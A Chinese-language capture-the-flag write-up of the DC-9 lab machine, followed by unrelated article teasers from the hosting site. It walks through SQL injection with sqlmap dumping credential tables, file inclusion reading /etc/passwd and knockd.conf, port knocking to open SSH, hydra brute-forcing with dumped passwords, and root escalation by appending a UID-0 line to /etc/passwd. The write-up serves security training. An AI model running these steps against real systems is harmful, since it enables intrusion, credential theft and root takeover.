端口敲击守护程序之DC-9

总结

getwebshell : 发现SQL注入 → 登录系统 → 疑似文件包含 → FUZZ参数 → 文件包含读取守护程序 → 敲击打开SSH端口 → 利用泄露账号密码登录

提 权 思 路 : 发现3个用户 → 登录获取密码字典 → 再次爆破获取第4个用户 → sudo文件发现 → 存在root权限写入功能 → passwd覆盖提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.192

图片

  • 启动靶机
    获取目标机器IP → 192.168.178.209

图片

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

 
  1. sudo nmap --min-rate 10000 -p- 192.168.178.209

  2. PORT STATE SERVICE

  3. 22/tcp filtered ssh

  4. 80/tcp open http

图片


开放的端口->80
过滤的端口->22

 
  1. 当端口被列为“被过滤”时,意味着该端口被防火墙或网络设备阻止或过滤。这可能是有意的,例如用作防止未经授权访问的安全措施,也可能是由于网络配置错误或连接问题而无意的。

  2. 在这种情况下,端口22被过滤,因此可能无法使用该端口建立到目标设备的SSH连接。

目标端口对应服务探测

 
  1. # tcp探测

  2. sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209

  3. PORT STATE SERVICE VERSION

  4. 22/tcp closed ssh

  5. 80/tcp open http Apache httpd 2.4.38 ((Debian))

图片


现在22端口是关闭的

信息收集-端口测试

80-HTTP端口的信息收集

访问 http://192.168.178.209:80 看上去像CMS
随便戳了戳发现是php

图片

信息收集-网站指纹
 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# whatweb http://192.168.178.209

  3. http://192.168.178.209 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.178.209], Title[Example.com - Staff Details - Welcome]

图片

漏洞利用-网站指纹(无)
 
  1. searchsploit Staff Details

  2. searchsploit Example.com

图片

信息收集-HTML隐藏信息查看
 
  1. # 利用html2text转换纯文本方便查看

  2. curl http://192.168.178.209 | html2text

让我们点击其他菜单,可能是提示

图片

信息收集-目录扫描
信息收集-目录扫描初步
 
  1. dirsearch -u http://192.168.178.209 -x 302,403,404

图片


因为扫出了目录,深层次的扫描待选,后期可能会选择.php的后缀扫描

 
  1. 信息收集-目录扫描(后缀)

  2. 信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
端点访问

空白

图片


.php可能可以fuzz

图片


没东西

图片


里面的按钮按了没反应,也没看到什么源码

图片

图片


登录端点

图片

然后还有一个我可以点击的search

图片

功能点的实践

之前信息收集的内容还可以深入,不过都待定

漏洞探测-nikto扫描

首先挂上一个扫描器

 
  1. nikto -h http://192.168.178.209

回过头来看发现没什么

图片

登录端点浅浅实践

在登录端点来一手弱口令,以及万能密码发现都没用

图片


然后因为不知道账号是啥,尝试挂着跑admin账户的弱口令

图片

漏洞利用-getwebshell

后台登录

搜索功能点实践-SQL注入

接下来尝试来到搜索功能点,尝试输入一个'破坏完整性
因为搜索功能点大致会并入查询语句

图片


尝试输入了一个'之后发现没什么

图片


因为sql语句的不同,体现方法也是不一样滴
先试试正常的语句

图片

图片


但是Julie'就什么都没显示,推测要注释掉后面的内容
Julie' -- qwe 显示了内容

图片

图片


极大可能是存在sql注入的,使用sqlmap

POST型

在传参的地方打上*

 
  1. # 基础探测

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"

  3. # 发现存在之后直接爆数据库

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs

  5. # 爆出数据库之后爆表(首页的关键词Staff,先看这个)

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables

  7. # 爆字段名

  8. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users --columns

  9. # 爆字段中数据

  10. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

基础探测存在

图片


存在三个数据库,首页的关键词Staff,先看这个,选择第二个

图片


优先看Users的表

图片


存在账号以及密码的字段

图片


得到了帐号以及密码的信息

图片


admin | 856f5de590ef37314e7c3bdf6f8a66dc
可以发现密码是md5加密的格式,因为有32

之后我们看看另一个表,表名也挺诱惑人的

 
  1. # 爆出数据库之后爆表

  2. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users --tables

  3. # 爆字段名

  4. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D users -T UserDetails --columns

  5. # 爆整个表

  6. sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dump -D users -T UserDetails

只有一个表UserDetails

图片


太多了,直接一起爆吧

图片


爆了很多密码捏

图片

hashcat爆破密码(失败)
 
  1. # 将密码输出到文件

  2. echo '856f5de590ef37314e7c3bdf6f8a66dc' > hash

  3. hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt

发现没爆破出来,尝试在线解密

图片


https://www.somd5.com/

图片


挺难受的,爆破不出来,解密出来的密码transorbital1

登录后台

利用获得的账号以及密码登录之后发现多了一个功能点

图片

LFI利用

登录之后发现一个奇怪的地方,登陆前底下是没有的

图片

 
  1. File does not exist >> 文件不存在

推测该功能点的php可以尝试fuzz参数

暴力破解-参数名破解FUZZ1(失败)
 
  1. # -u 指定URL FUZZ 暴力破解的地方 -w 指定字典 -fs 0 不限制文件大小

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -fs 0 > fuzz.txt

没有爆破处内容捏

图片


curl了一下也没有内容,我想起来是要带cookie才行

图片


修改一下fuff PHPSESSID "h86ph7lej727porurqhsh072vs"
带上cookie之后curl就有值了

图片

暴力破解-参数名破解FUZZ2
 
  1. # -b 带cookie

  2. ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0 > fuzz.txt

从文件夹里面找到一个不一样的size 这样太不优雅了

图片

 
  1. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  2. └─# cat fuzz.txt | grep -v 1757 | grep Size -A 2 -B 2

  3. * FUZZ: framework

  4. [Status: 200, Size: 4110, Words: 95, Lines: 108, Duration: 235ms]

  5. | URL | http://192.168.178.209/addrecord.php?file=../../../../../../etc/passwd

  6. * FUZZ: file

利用grep去掉1757并且筛选最后存在的上下各两行找到了file

图片


得到一个file的参数,在/home下发现了非常多的目录

图片


联想到刚才的数据库账号密码,应该都能登22端口,但是22端口是过滤状态

文件包含利用

日志访问(失败)

一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志

 
  1. /var/log/auth.log # ssh登录日志

  2. /var/log/apache2/access.log # apache访问日志

查看了一下,好像都没有捏

图片


想读.ssh来着,但是ssh没开放

查看端口守护程序

因为存在过滤端口,从这个角度切入

图片


因此存在过滤端口的时候可以尝试访问一下这个文件是否存在

 
  1. ../../../../../etc/knockd.conf

  2. [options] UseSyslog

  3. [openSSH] sequence = 7469,8475,9842

  4. seq_timeout = 25

  5. command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  6. tcpflags = syn

  7. [closeSSH] sequence = 9842,8475,7469

  8. seq_timeout = 25

  9. command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

  10. tcpflags = syn

图片

端口过滤之敲击守护程序

如果我们按照要求依次访问7469,8475,9842三个端口在25秒内,那么利用端口敲击守护程序ssh端口就会打开

利用工具knock

 
  1. sudo apt install knockd

  2. knock 192.168.178.209 7469 8475 9842

之后访问发现ssh端口开放了

图片

暴力破解-SSH爆破hydra

根据数据库爆出来的内容制作user.txt以及passwd.txt字典

 
  1. echo 'marym

  2. julied

  3. fredf

  4. barneyr

  5. tomc

  6. jerrym

  7. wilmaf

  8. bettyr

  9. chandlerb

  10. joeyt

  11. rachelg

  12. rossg

  13. monicag

  14. phoebeb

  15. scoots

  16. janitor

  17. janitor2' > user.txt

 
  1. echo '3kfs86sfd

  2. 468sfdfsd2

  3. 4sfd87sfd1

  4. RocksOff

  5. TC&TheBoyz

  6. B8m#48sd

  7. Pebbles

  8. BamBam01

  9. UrAG0D!

  10. Passw0rd

  11. yN72#dsd

  12. ILoveRachel

  13. 3248dsds7s

  14. smellycats

  15. YR3BVxxxw87

  16. Ilovepeepee

  17. Hawaii-Five-0' > passwd.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 - o main

查看了对应的main文件看到了3个可用

图片

 
  1. [22][ssh] host: 192.168.178.209 login: chandlerb password: UrAG0D!

  2. [22][ssh] host: 192.168.178.209 login: joeyt password: Passw0rd

  3. [22][ssh] host: 192.168.178.209 login: janitor password: Ilovepeepee

内网遨游-getshell

3开SSH

获取账号密码之后利用SSH进行登录(3个小时到了,换了个目标机)

 
  1. sudo ssh chandlerb<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; UrAG0D!

  3. sudo ssh joeyt<span class="label label-primary">@192.168.208.209</span> -p22

  4. password &gt; Passw0rd

  5. sudo ssh janitor<span class="label label-primary">@192.168.208.209</span> -p22

  6. password &gt; Ilovepeepee

图片


但是发现输入find都没什么用,尝试查找内部的敏感信息
janitor用户下发现了不一样的东西

图片


发现是个文件,进入

图片

图片


探索之后发现了新的密码文件,再写一个文件利用hyrda爆破

 
  1. echo 'BamBam01

  2. Passw0rd

  3. smellycats

  4. P0Lic#10-4

  5. B4-Tru3-001

  6. 4uGU5T-NiGHts' &gt; passwd2.txt

 
  1. # -L 指定账号字典 -P指定密码字典

  2. hydra -L user.txt -P passwd2.txt 192.168.208.209 ssh -s 22 -t 64 -o main

通过爆破得到了新的用户密码

图片

 
  1. [22][ssh] host: 192.168.178.209 login: fredf password: B4-Tru3-001

进行ssh连接

 
  1. sudo ssh fredf<span class="label label-primary">@192.168.208.209</span> -p22

  2. password &gt; B4-Tru3-001

FLAG1获取

输入find命令之后发现只有fredf是可以的

 
  1. fredf<span class="label label-primary">@dc-9</span>:~$ find / -name local.txt 2&gt;/dev/null

  2. /home/fredf/local.txt

  3. fredf<span class="label label-primary">@dc-9</span>:~$ cat /home/fredf/local.txt

  4. 4c30c90388a4b5baa8bf21db8529bb51

图片

权限提升

Linux提权-sudo提权

查找具有sudo权限,且不需要密码的可提权文件

 
  1. # 利用sudo -l寻找

  2. fredf<span class="label label-primary">@dc-9</span>:~$ sudo -l

  3. Matching Defaults entries for fredf on dc-9:

  4. env_reset, mail_badpass,

  5. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

  6. User fredf may run the following commands on dc-9:

  7. (root) NOPASSWD: /opt/devstuff/dist/test/test

只有fredf用户是存在sudo

图片

追踪一下这个文件

 
  1. # 权限查看 (读与执行)

  2. fredf<span class="label label-primary">@dc-9</span>:~$ ls -al /opt/devstuff/dist/test/test

  3. -rwxr-xr-x 1 root root 1212968 Dec 29 2019 /opt/devstuff/dist/test/test

  4. # 查看内容发现看不了

  5. fredf<span class="label label-primary">@dc-9</span>:~$ cat /opt/devstuff/dist/test/test

图片


尝试运行

 
  1. fredf<span class="label label-primary">@dc-9</span>:$ cd /opt/devstuff/dist/test

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ ./test

  3. Usage: python test.py read append

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test

  5. Usage: python test.py read append

读不了,显示是读test.py ,说明使用test应该是需要参数的

 
  1. # 全局搜索

  2. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ find / -name "test.py" 2&gt;/dev/null

  3. /opt/devstuff/test.py

  4. /usr/lib/python3/dist-packages/setuptools/command/test.py

发现了两个,应该是上面那个

 
  1. cat /opt/devstuff/test.py

如果传递的参数不等于3,就会输出Usage: python test.py read append

不然会读取输入第一个参数内的文件追加写入到第二个参数

 
  1. #!/usr/bin/python

  2. import sys

  3. if len (sys.argv) != 3 :

  4. print ("Usage: python test.py read append")

  5. sys.exit (1)

  6. else :

  7. f = open(sys.argv[1], "r")

  8. output = (f.read())

  9. f = open(sys.argv[2], "a")

  10. f.write(output)

  11. f.close()

图片

/etc/passwd覆盖提权

既然是这样的话,那我可以自己写一个root权限的用户进行追加覆盖

覆盖掉root的密码

 
  1. # Kali机器使用openssl生成密码 -l指定生成密码

  2. ┌──(root㉿Kali)-[/home/bachang/DC-9]

  3. └─# sudo openssl passwd

  4. Password: YaoRuo

  5. Verifying - Password: YaoRuo

  6. $1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.

目标机器上覆盖

 
  1. # 制作root权限用户 root:x:0:0:root:/root:/bin/bash

  2. YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash

  3. # 写入到可写文件夹中

  4. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' &gt; /tmp/passwd.txt

  5. # 进行覆盖

  6. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd

  7. # 权限提升

  8. fredf<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test$ su YaoRuo

  9. Password: RaoYuo

  10. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# id

  11. uid=0(root) gid=0(root) groups=0(root)

提权成功

图片

FLAG2获取

 
  1. root<span class="label label-primary">@dc-9</span>:/opt/devstuff/dist/test# cat /root/proof.txt

  2. e67eaee361edc9e35fc8cfe0b1ea7bd7

完结撒花~

图片

总结

filtered过滤端口也是值得探索的内容
可能存在端口敲击守护程序/etc/knockd.conf

传参进行fuzz的时候还是要多试,顺便一提的是登录要记得带上cookie

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。

 
  1. 端口扫描也是威胁 Web 安全的一种方式,服务器主机关闭不必要的端口对这一攻击有一定的作用,但是对于必须开启的端口还是存在着安全隐患,为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。

  2. “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手,一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击,就是有时间限制。

例如 nmap -p[端口] [ip] nc [ip] [端口]

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/800487.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

共生共舞的期货黄金和现货黄金

期货黄金&#xff0c;作为一种在金融市场上备受关注的投资工具&#xff0c;其价值与价格走势深受现货黄金市场的直接影响和联动。期货黄金交易&#xff0c;本质上是投资者对未来某一特定时间内黄金价格的预期进行押注&#xff0c;而这背后的逻辑支撑和价格基准正是现货黄金市场…

2024通信技术与航空航天工程国际会议(ICCTAE2024)

2024通信技术与航空航天工程国际会议(ICCTAE2024) 会议简介 通信技术和航空航天领域有着密切的关联和深远的意义。 随着通信技术和航空航天工程的快速发展&#xff0c;这两个领域的交叉融合为学术界和工业界提供了广阔的研究空间和实际应用前景。为了进一步推动相关领域的发…

Ubuntu 20.04.06 PCL C++学习记录(二十)

[TOC]PCL中点云分割模块的学习 学习背景 参考书籍&#xff1a;《点云库PCL从入门到精通》以及官方代码PCL官方代码链接,&#xff0c;PCL版本为1.10.0&#xff0c;CMake版本为3.16 学习内容 基于颜色的区域增长细分 源代码及所用函数 源代码 #include<iostream> #i…

HIS系统是什么?一套前后端分离云HIS系统源码 接口技术RESTful API + WebSocket + WebService

HIS系统是什么&#xff1f;一套前后端分离云HIS系统源码 接口技术RESTful API WebSocket WebService 医院管理信息系统(全称为Hospital Information System)即HIS系统。 常规模版包括门诊管理、住院管理、药房管理、药库管理、院长查询、电子处方、物资管理、媒体管理等&…

Grafana告警(邮件)自定义模板配置

一年前给客户部署配置过grafana&#xff0c;告警配置也是用的原始的&#xff0c;客户在使用过程中只需要一些核心点信息&#xff0c;想要实现这个就需要用Grafana的自定义告警模板以及编辑邮件模板。 通知模板 模板信息的配置中查阅了相关资料&#xff0c;自己组装了一套&…

【IC前端虚拟项目】spyglass lint环境组织与lint清理

【IC前端虚拟项目】数据搬运指令处理模块前端实现虚拟项目说明-CSDN博客 和上个虚拟项目的lint清理环节一样&#xff0c;关于spyglass的lint清理功能与流程还是大家通过各种资料去学习下就好啦。和之前不同的事&#xff0c;这次的虚拟项目里我把流程封装为Makefile&#xff0c;…

三流大学毕业,物流专业转行自述:“从月薪4K到现在月入2W+,我做到了哪些?”

我是25岁转行学python的。说实在&#xff0c;转行就是奔着挣钱去的。希望我的经历可以给想转行的朋友带来一点启发和借鉴。 先简单介绍下个人背景&#xff0c;三流大学毕业&#xff0c;物流专业&#xff0c;学习能力一般&#xff0c;没啥特别技能&#xff0c;反正就很普通的一…

C++ //练习 11.23 11.2.1节练习(第378页)中的map以孩子的姓为关键字,保存他们的名的vector,用multimap重写此map。

C Primer&#xff08;第5版&#xff09; 练习 11.23 练习 11.23 11.2.1节练习&#xff08;第378页&#xff09;中的map以孩子的姓为关键字&#xff0c;保存他们的名的vector&#xff0c;用multimap重写此map。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09;…

flutter 获取验证码倒计时组件封装

send_sms_btn.dart import dart:async;import package:flutter/material.dart; import package:get/get.dart;// 发送验证码 按钮 class SendSmsBtn extends StatefulWidget {final Future<bool> Function()? onTap;const SendSmsBtn({super.key,this.onTap,});overrid…

CS162 Operating System笔记

What is an Operating System? it’s typically a special layer of software that provides the application access to hardware resources.So.it’s convenient abs fractions of complex hardware devices.

FHE全同态加密简介

1. 何为FHE&#xff1f; FHE (Fully homomorphic encryption)&#xff1a; 是一种隐私技术&#xff0c;支持直接对密文进行计算&#xff0c;而无需对密文先解密再计算。即&#xff0c;任何第三方或云厂商&#xff0c;都可对敏感信息的密文进行处理&#xff0c;而无需访问密文内…

快速安装/升级/卸载Ascend配套软件包的

一、参考资料 配套MindSpore 昇腾软件安装指引&#xff08;23.0.RC3&#xff09; 快速安装CANN 二、安装Ascend配套软件包 1. Ascend配套软件包简介 Ascend配套软件包&#xff0c;包括&#xff1a;固件、驱动和CANN&#xff08;Compute Architecture for Neural Networks&…

近距离共享数字化实战经验,深挖数据价值赋能千行百业

近期&#xff0c;思迈特软件积极投身于金融、制造、零售、医疗等多个行业的线下活动中&#xff0c;深度解析行业趋势&#xff0c;分享BI数字化创新解决方案&#xff0c;并与客户及合作伙伴进行深入交流。通过这些活动&#xff0c;不仅展示了思迈特软件在各领域的先进技术和成果…

【数据结构】双向链表 C++

一、什么是双向链表 1、定义 双向链表也叫双链表&#xff0c;是链表的一种&#xff0c;它的每个数据结点中都有两个指针&#xff0c;分别指向直接后继和直接前驱。所以&#xff0c;从双向链表中的任意一个结点开始&#xff0c;都可以很方便地访问它的前驱结点和后继结点。 双…

fakebook-攻防世界

题目 先目录扫描一下 dirseach 打开flag.php是空白的 访问robots.txt,访问user.php.bak <?php class UserInfo { public $name ""; public $age 0; public $blog ""; public function __construct($name, $age, $blog) { …

2024年【道路运输企业主要负责人】报名考试及道路运输企业主要负责人证考试

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 道路运输企业主要负责人报名考试根据新道路运输企业主要负责人考试大纲要求&#xff0c;安全生产模拟考试一点通将道路运输企业主要负责人模拟考试试题进行汇编&#xff0c;组成一套道路运输企业主要负责人全真模拟考…

vue vue3 日期时间组件分装,三种不同的效果

写在前面&#xff1a; 基于elementPlus前端组件库&#xff0c;实现了两种日期时间组件的自定义封装&#xff1a; 1.第一种&#xff0c;年月日 2.第二种&#xff0c;年月周日 3.第三种&#xff0c;年月日 一、年月日自定义组件的封装 实现效果&#xff1a; 参考链接&#xff1a…

VueDraggablePlus 支持 Vue2 和 Vue3 的拖拽组件

官网&#xff1a;https://alfred-skyblue.github.io/vue-draggable-plus/

【大功率汽车大灯升压方案】LED恒流驱动芯片FP7208升压车灯调光应用,PWM内部转模拟,调光深度1%,无频闪顾虑,低亮无抖动

宝马X5前中排座椅宽大舒适&#xff0c;车厢内储物空间丰富。操控性能极佳&#xff0c;底盘稳扎精良。原车为氙气灯&#xff0c;其实宝马的氙气大灯配的比其他车型要好&#xff0c;照明效果是没得说的。但是不管什么灯久了都会出现光衰的情况。下面这辆宝马X5车灯已老化严重。 宝…

14届蓝桥杯省赛 C/C++ B组 T4 飞机降落 (DFS)

记录此题提醒自己&#xff0c;此类时间轴问题可以通过DFS解决 DFS不是能解决所有题吗 对于此题&#xff0c;我们将降落的飞机的个数和时间轴作为DFS的形参&#xff0c;这样可以节省手动回溯的过程。 并且在DFS的过程中我们要加入一些贪心策略&#xff0c;否则直接爆搜有可能搜…